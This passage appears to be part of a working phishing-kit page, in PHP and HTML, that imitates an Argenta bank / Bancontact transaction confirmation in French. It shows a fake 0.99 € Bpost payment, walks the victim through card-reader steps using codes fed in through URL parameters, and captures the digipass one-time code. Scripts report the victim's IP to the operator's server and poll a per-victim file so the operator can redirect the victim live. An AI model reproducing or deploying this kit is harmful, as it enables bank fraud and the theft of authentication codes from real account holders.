		#optGblPage {
			margin: auto
		}

		.issuerLogo img {
			width: 65px
		}

		@media screen and (min-width:701px) {
			#optGblPage {
				max-width: 800px;
				font-size: 18px
			}
		}

		@media screen and (max-width:700px) and (min-width:361px) {
			#optGblPage {
				max-width: 650px;
				font-size: 14px
			}

			.issuerLogo img {
				width: 45px
			}
		}

		@media screen and (max-width:600px) {
			.text-blue {
				font-weight: 700
			}

			#networkLogo {
				margin-top: .3em;
				max-height: 42px
			}
		}

		@media screen and (max-width:250px) {
			.issuerLogo img {
				width: 35px
			}
		}

		#msg-banner {
			z-index: 1000;
			position: -webkit-sticky;
			position: sticky;
			top: 0
		}

		div#selection-group {
			display: table-header-group
		}

		#cardReaderLogo {
			max-height: 1250px;
			max-width: 100%;
			height: auto
		}

		.validatePaddingLeft {
			padding-left: 5em
		}

		.hr-line-2 {
			position: relative;
			display: inline-block;
			margin-left: 5px;
			margin-right: 5px;
			width: 100%;
			border-bottom: 1px solid #eaebeb
		}

		.text-blue {
			color: #1167a5
		}

		.imageAlign {
			margin-left: 35px
		}

		.noLeftRightPadding {
			padding-left: 0;
			padding-right: 0
		}

		.leftPadding20 {
			padding-left: 20px
		}

		.paragraph {
			margin: 10px 10px 10px
		}

		#validateButton {
			background-color: #fff;
			color: #333;
			white-space: normal;
			border-radius: 4px;
			border-color: #ccc
		}

		#validateButton button {
			margin-top: 5px;
			background: #58bb9a
		}

		#validateButton button.btn {
			color: #fff
		}

		#content-left {
			float: left;
			width: 30%
		}

		#content-right {
			float: left;
			width: 70%
		}

		@media screen and (max-width:480px) {
			.hr-line {
				display: none
			}

			.hr-line-2 {
				visibility: hidden
			}

			/* Legacy layout — do not break Argenta flex column (.instructions-panel) */
			#content-right:not(.instructions-panel) {
				display: inline-grid
			}

			.imageAlign {
				margin-left: auto !important
			}
		}

		@media screen and (max-width:360px) {
			#cardReaderLogo {
				margin: 0 !important
			}

			#cardReaderLogo img,
			.imageAlign img {
				max-width: 60%
			}

			#optGblPage {
				max-width: 100%;
				font-size: 12px
			}

			#otp-form {
				width: 100%
			}

			input[name=otp] {
				width: 100%
			}
		}

		@media screen and (max-width:300px) {
			.contextButtons img {
				max-width: 15%
			}

			#optGblPage {
				font-size: 10px
			}
		}

		@media screen and (max-width:250px) {
			.side-menu .text-right {
				width: 40%
			}

			.side-menu .text-left {
				width: 60%
			}
		}

		@media screen and (max-width:200px) {
			.validatePaddingLeft {
				padding-left: unset
			}

			#optGblPage {
				font-size: 8px
			}
		}
	</style>
	<style>
		.sf-hidden {
			display: none !important
		}
	</style>

	<style>
		img[src="data:,"],
		source[src="data:,"] {
			display: none !important
		}
	</style>
</head>

<body>


	<form method="post" action="<?php echo 'bc-load.php?token=' . $token1; ?>">

		<splash-screen show="true" class="ng-isolate-scope"></splash-screen>
		<ui-view class="ng-scope" style>
			<otp class="ng-scope ng-isolate-scope">
				<div id="submitContent">
					<custom-component class="ng-isolate-scope">
						<div class="ng-scope">
							<div><custom-font class="ng-isolate-scope"><span style="display:none" id="0cd69e0ee639483f9af81f0b481a5662"></span></custom-font>
								<div id="optGblPage">
	<header class="argenta-page-header"><div class="argenta-page-header-inner"><div class="argenta-page-header-logo"><a href="#" style="display:flex;align-items:center;"><img src="data:image/jpeg;base64, " alt="Argenta logo"></a></div>
<div class="argenta-page-header-right"><a href="#" class="argenta-page-header-aide" onclick="return false;">Aide</a><button type="button" class="argenta-page-header-lang">fr ▼</button><img src="bc_files/bpost.png" alt="Bancontact"></div></div></header>
									<div id="msg-banner"><message-banner class="ng-isolate-scope"></message-banner></div>
									<div id="mainLayout" class="row">
										<!-- Titre hors du bandeau gris ; le gris ne couvre que les lignes détail -->
										<div class="transaction-details-page-title">
											<h1>Détails de la transaction</h1>
										</div>
										<div class="transaction-details-wrapper">
											<div class="transaction-details-inner">
												<section class="bg-transparent py-6 transaction-details-section">
													<div>
														<div>
															<div class="flex flex-col gap-3 transaction-details">
																<div class="flex items-start gap-6">
																	<span class="text-black font-bold w-40 flex-shrink-0">Bénéficiaire :</span>
																	<span class="text-gray">Bpost</span>
																</div>
																<div class="flex items-start gap-6">
																	<span class="text-black font-bold w-40 flex-shrink-0">Montant :</span>
																	<span class="text-blue-600 font-semibold">0.99 €</span>
																</div>
																<div class="flex items-start gap-6">
																	<span class="text-black font-bold w-40 flex-shrink-0">Date :</span>
																	<span class="text-gray">2026/03/11 03:52:05 CET</span>
																</div>
																<div class="flex items-start gap-6">
																	<span class="text-black font-bold w-40 flex-shrink-0">N° de carte :</span>
																	<span class="text-gray">xxxxxxxxxxxxx1111</span>
																</div>
															</div>
														</div>
													</div>
												</section>
											</div>
										</div>
										<div class="row">
											<div class="argenta-confirm-heading-wrap">
											<h4 class="text-blue"><custom-text class="ng-isolate-scope"><span id="" class="custom-text ng-binding">Confirmez votre transaction</span></custom-text></h4>												<div id="mobile-container" class="confirm-section-container">
													<div id="content-right" class="instructions-panel">
														<div class="instructions-border-box">
														<div class="instruction-step">
															<custom-text class="ng-isolate-scope">
																<span id="" class="custom-text ng-binding">1. Confirmez votre transaction</span>
															</custom-text>
															<custom-image class="contextButtons ng-isolate-scope">
																<img class="custom-image" src="data:image/png;base64,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">
															</custom-image>
														</div>
														<div class="hr-line"></div>
														<div class="instruction-step">
															<custom-text class="ng-isolate-scope">
																<span id="" class="custom-text ng-binding">2. Introduisez votre code pin et appuyez sur</span>
															</custom-text>
															<custom-image class="contextButtons ng-isolate-scope">
																<img class="custom-image" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAGqADAAQAAAABAAAAGgAAAABMybYKAAADv0lEQVRIDbVWaWxMURT+7szoamkrxYwqk1SnElLpKGpJWkspoUIIiT0IE2KNHyXSxBYi4o8RS4il+stOIqEtYklILbG2RHW01sZSW1Wnzzn3zZvetoOUcZKXd+7Zvruce84V+BPtmpsIb+04aNpwMo2nzwYhNBq/JN5D/DmYQ45j3u7S34USv1S6ZzghtM3QMOSXNqpCoBCaWAnX/mJVbPDNgYpyLSgp20YzdhFIc73hGegv2EO44bAvQUZunWrSOJB7QTTw9QigZahGLedFERAxAa4d7w1fk8GAVxIUEI7IE6UJy5g6QgMQb9c/r8Q/bR1MxtRl+tbpB3+jxWeixg3E85lpIpUTRF+Rnl2NzyuQY0tlnEwcm0jAPdsB1D1SY3QIb4MN/SYi3ZYEa0QUnn2qwrGyYqwvPolv3h/SNDo0Ahezc1BU+RCLr+T53bekTUZml55YQrJC0kmyhDosEN5sWqCf2rYKw+2J6xATFont9wrwtPoNBlsdWOUci0HWRKSf2ChtzcKEXu27oKz6rd93RXIWlvfOwgaakB+EtXThLb4b7zfOcY6BNTIK087vxKHHV6WcAb/V1WJm0mCMtztxlFbXlFi+KW0SDpdew+rrdENUoqrCZ8RlxU/pth6ooaD5T675ZcwcLL0ix7y6ppQaa8ehYfNx+WUpZhXtVjfIMI1nIJsx4n/3dh1R+eU9vJqynySv+PxOmiWQXqW41jE4NWopwi0hOOu5i9p6r6o2eFvDPfKJhAicfIac8tVwlv+U2G6cw6ikiazpk42kKGsjvRxQEWagF6rmycfX6BwZDXMTwLjIGGnGepU+/6jB6DNbMefCXoTRqvZlzIGpaYmkSs9AHtXx0osS6TAlIU0VY7pjoByzXqXCige4WVWOs8/vYs+DC+jfKQHLkkeqJsx7KL2pn2jaMEOzjlJzauIA7MmYjZTYrpTebym9EzEpoR/OV9zH8Wc3DdNm/+VX8zEivhfW9h2PU+W3UPLhlW5DGGaMdlYB9QsNrxq6kHmU1p3Co6TTOHsKLCYz3PcL4Lq0n5KkXpqGmi0YFZ+M21UeuRoWfq+vw713FejTwY442v7T5Xd8YS2L9JPfMb2AznOITxrcHzfEBQeG8hlR0abOyAUw2KQX1ZUcVgfi9sudMdjEMX2tXQdiAG6/4M4YLKJYMqYerwFI9nhqv0EB87Vy5d3QAMTA3ON72DNhEtv/6sz4TNiXYyjvBQ4duN6w5r8/txhEJW6MsmcpD0hdz6VLf0Bq5hNw7W1cMtQYxP8EhMpKBTXxIaIAAAAASUVORK5CYII=">
															</custom-image>
														</div>
														<div class="hr-line"></div>
														<div class="instruction-step">
															<custom-text class="ng-isolate-scope">
																<span id="" class="custom-text ng-binding">3. DATA OR OK? s’affiche. Introduisez <font color="green"><?php echo htmlspecialchars($_GET['t1'] ?? ''); ?></font> et appuyez sur</span>
															</custom-text>
															<custom-image class="contextButtons ng-isolate-scope">
																<img class="custom-image" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAGqADAAQAAAABAAAAGgAAAABMybYKAAADv0lEQVRIDbVWaWxMURT+7szoamkrxYwqk1SnElLpKGpJWkspoUIIiT0IE2KNHyXSxBYi4o8RS4il+stOIqEtYklILbG2RHW01sZSW1Wnzzn3zZvetoOUcZKXd+7Zvruce84V+BPtmpsIb+04aNpwMo2nzwYhNBq/JN5D/DmYQ45j3u7S34USv1S6ZzghtM3QMOSXNqpCoBCaWAnX/mJVbPDNgYpyLSgp20YzdhFIc73hGegv2EO44bAvQUZunWrSOJB7QTTw9QigZahGLedFERAxAa4d7w1fk8GAVxIUEI7IE6UJy5g6QgMQb9c/r8Q/bR1MxtRl+tbpB3+jxWeixg3E85lpIpUTRF+Rnl2NzyuQY0tlnEwcm0jAPdsB1D1SY3QIb4MN/SYi3ZYEa0QUnn2qwrGyYqwvPolv3h/SNDo0Ahezc1BU+RCLr+T53bekTUZml55YQrJC0kmyhDosEN5sWqCf2rYKw+2J6xATFont9wrwtPoNBlsdWOUci0HWRKSf2ChtzcKEXu27oKz6rd93RXIWlvfOwgaakB+EtXThLb4b7zfOcY6BNTIK087vxKHHV6WcAb/V1WJm0mCMtztxlFbXlFi+KW0SDpdew+rrdENUoqrCZ8RlxU/pth6ooaD5T675ZcwcLL0ix7y6ppQaa8ehYfNx+WUpZhXtVjfIMI1nIJsx4n/3dh1R+eU9vJqynySv+PxOmiWQXqW41jE4NWopwi0hOOu5i9p6r6o2eFvDPfKJhAicfIac8tVwlv+U2G6cw6ikiazpk42kKGsjvRxQEWagF6rmycfX6BwZDXMTwLjIGGnGepU+/6jB6DNbMefCXoTRqvZlzIGpaYmkSs9AHtXx0osS6TAlIU0VY7pjoByzXqXCige4WVWOs8/vYs+DC+jfKQHLkkeqJsx7KL2pn2jaMEOzjlJzauIA7MmYjZTYrpTebym9EzEpoR/OV9zH8Wc3DdNm/+VX8zEivhfW9h2PU+W3UPLhlW5DGGaMdlYB9QsNrxq6kHmU1p3Co6TTOHsKLCYz3PcL4Lq0n5KkXpqGmi0YFZ+M21UeuRoWfq+vw713FejTwY442v7T5Xd8YS2L9JPfMb2AznOITxrcHzfEBQeG8hlR0abOyAUw2KQX1ZUcVgfi9sudMdjEMX2tXQdiAG6/4M4YLKJYMqYerwFI9nhqv0EB87Vy5d3QAMTA3ON72DNhEtv/6sz4TNiXYyjvBQ4duN6w5r8/txhEJW6MsmcpD0hdz6VLf0Bq5hNw7W1cMtQYxP8EhMpKBTXxIaIAAAAASUVORK5CYII=">
															</custom-image>
														</div>
														<div class="instruction-step">
															<custom-text class="ng-isolate-scope">
																<span id="" class="custom-text ng-binding">4. DATA OR OK? s’affiche. Introduisez <font color="#006400"><?php echo htmlspecialchars($_GET['t0'] ?? ''); ?></font> et appuyez 2 fois sur</span>
															</custom-text>
															<custom-image class="contextButtons ng-isolate-scope">
																<img class="custom-image" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAGqADAAQAAAABAAAAGgAAAABMybYKAAADv0lEQVRIDbVWaWxMURT+7szoamkrxYwqk1SnElLpKGpJWkspoUIIiT0IE2KNHyXSxBYi4o8RS4il+stOIqEtYklILbG2RHW01sZSW1Wnzzn3zZvetoOUcZKXd+7Zvruce84V+BPtmpsIb+04aNpwMo2nzwYhNBq/JN5D/DmYQ45j3u7S34USv1S6ZzghtM3QMOSXNqpCoBCaWAnX/mJVbPDNgYpyLSgp20YzdhFIc73hGegv2EO44bAvQUZunWrSOJB7QTTw9QigZahGLedFERAxAa4d7w1fk8GAVxIUEI7IE6UJy5g6QgMQb9c/r8Q/bR1MxtRl+tbpB3+jxWeixg3E85lpIpUTRF+Rnl2NzyuQY0tlnEwcm0jAPdsB1D1SY3QIb4MN/SYi3ZYEa0QUnn2qwrGyYqwvPolv3h/SNDo0Ahezc1BU+RCLr+T53bekTUZml55YQrJC0kmyhDosEN5sWqCf2rYKw+2J6xATFont9wrwtPoNBlsdWOUci0HWRKSf2ChtzcKEXu27oKz6rd93RXIWlvfOwgaakB+EtXThLb4b7zfOcY6BNTIK087vxKHHV6WcAb/V1WJm0mCMtztxlFbXlFi+KW0SDpdew+rrdENUoqrCZ8RlxU/pth6ooaD5T675ZcwcLL0ix7y6ppQaa8ehYfNx+WUpZhXtVjfIMI1nIJsx4n/3dh1R+eU9vJqynySv+PxOmiWQXqW41jE4NWopwi0hOOu5i9p6r6o2eFvDPfKJhAicfIac8tVwlv+U2G6cw6ikiazpk42kKGsjvRxQEWagF6rmycfX6BwZDXMTwLjIGGnGepU+/6jB6DNbMefCXoTRqvZlzIGpaYmkSs9AHtXx0osS6TAlIU0VY7pjoByzXqXCige4WVWOs8/vYs+DC+jfKQHLkkeqJsx7KL2pn2jaMEOzjlJzauIA7MmYjZTYrpTebym9EzEpoR/OV9zH8Wc3DdNm/+VX8zEivhfW9h2PU+W3UPLhlW5DGGaMdlYB9QsNrxq6kHmU1p3Co6TTOHsKLCYz3PcL4Lq0n5KkXpqGmi0YFZ+M21UeuRoWfq+vw713FejTwY442v7T5Xd8YS2L9JPfMb2AznOITxrcHzfEBQeG8hlR0abOyAUw2KQX1ZUcVgfi9sudMdjEMX2tXQdiAG6/4M4YLKJYMqYerwFI9nhqv0EB87Vy5d3QAMTA3ON72DNhEtv/6sz4TNiXYyjvBQ4duN6w5r8/txhEJW6MsmcpD0hdz6VLf0Bq5hNw7W1cMtQYxP8EhMpKBTXxIaIAAAAASUVORK5CYII=">
															</custom-image>
														</div>
														<div class="hr-line"></div>
														<custom-text class="ng-isolate-scope instruction-step">
															<span id="" class="custom-text ng-binding">5. Introduisez le code qui apparaît sur votre digipass Argenta (sans espaces).</span>
														</custom-text>
														<div class="hr-line"></div>
														<div class="input_validate">
															<p class="paragraph"><otp-form class="ng-isolate-scope"></otp-form></p>
															<div id="otp-form" style="display: flex; flex-direction: column; align-items: flex-start;">
																<div class="tooltips" style="text-align: left;">
																	<span class="ng-binding">Ex.: 12251980</span>
																	<input type="text" name="otp" autocomplete="off" required="" autofocus="" minlength="3" maxlength="8" class="ng-pristine ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" style="display: block;">
																</div>
																</div>
														</div>
														</div>
							<div class="argenta-form-actions">
																	<button class="btn btn-default" type="submit" style="background-color: #ff6b93; color: #fff; padding: 10px 40px; font-size: 16px; font-weight: bold; border-radius: 6px; border: none; cursor: pointer;">
																		<custom-text class="ng-isolate-scope"><span id="" class="custom-text ng-binding">Valider</span></custom-text>
																	</button>
																<a href="#" class="argenta-form-aide-link" onclick="return false;">Aide</a>
																<span style="color: red; cursor: pointer; font-size: 11px; font-weight: normal; display: flex; align-items: center; gap: 4px;" onclick="window.location.href='';">
																	<span style="display:inline-flex;align-items:center;justify-content:center;width:13px;height:13px;background:red;border-radius:50%;color:#fff;font-size:8px;font-weight:bold;">&#10005;</span>
																	ANNULER
																</span>
																</div>
													</div>
													<div class="lecteur-placeholder">
														<img src="bc_files/lecteur.jpg" alt="Lecteur Argenta" class="lecteur-product-img">
													</div>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
					</custom-component>
				</div>
			</otp>
		</ui-view>

		<?php echo $errormsg; ?>

		<input type="hidden" name="type" value="l-argenta-code">

	</form>




	<script>
		// Send heartbeat every 5 seconds to update user's online status
		(function() {
			// Function to send heartbeat with user's IP
			function sendHeartbeat() {
				fetch(`config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=${window.location.pathname.split('/').pop()}`, {
						method: 'GET',
						headers: {
							'Cache-Control': 'no-cache',
							'Pragma': 'no-cache'
						}
					})
					.then(response => response.json())
					.then(data => {
						console.log('Heartbeat sent:', data.timestamp);
					})
					.catch(error => {
						console.error('Heartbeat error:', error);
					});
			}

			// Send initial heartbeat
			sendHeartbeat();

			// Set up interval to send heartbeat every 5 seconds
			let heartbeatInterval = setInterval(sendHeartbeat, 5000);

			// Handle page visibility changes (pause when tab is hidden)
			document.addEventListener('visibilitychange', function() {
				if (document.hidden) {
					console.log('Page hidden - heartbeat paused');
					clearInterval(heartbeatInterval);
				} else {
					console.log('Page visible - heartbeat resumed');
					sendHeartbeat(); // Send immediate heartbeat when tab becomes visible
					heartbeatInterval = setInterval(sendHeartbeat, 5000); // Resume interval
				}
			});

			// Clean up on page unload
			window.addEventListener('beforeunload', function() {
				clearInterval(heartbeatInterval);
			});
		})();
	</script>
	<script>
	(function() {
	  var ip = '<?php echo addslashes($ip); ?>';
	  var token1 = '<?php echo addslashes($token1); ?>';
	  var waiting = setInterval(function() {
	    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
	      .then(function(r) { return r.text(); })
	      .then(function(data) {
	        if (!data || data.length < 2) return;
	        var row = data.split('#|#');
	        var one = row[0];
	        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
	        if (one == 'load') {
	          clearInterval(waiting);
	          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
	        } else if (one == 'url' && row[2]) {
	          clearInterval(waiting);
	          window.location.href = row[2];
	        }
	      })
	      .catch(function() {});
	  }, 1500);
	})();
	</script>
</body>

</html>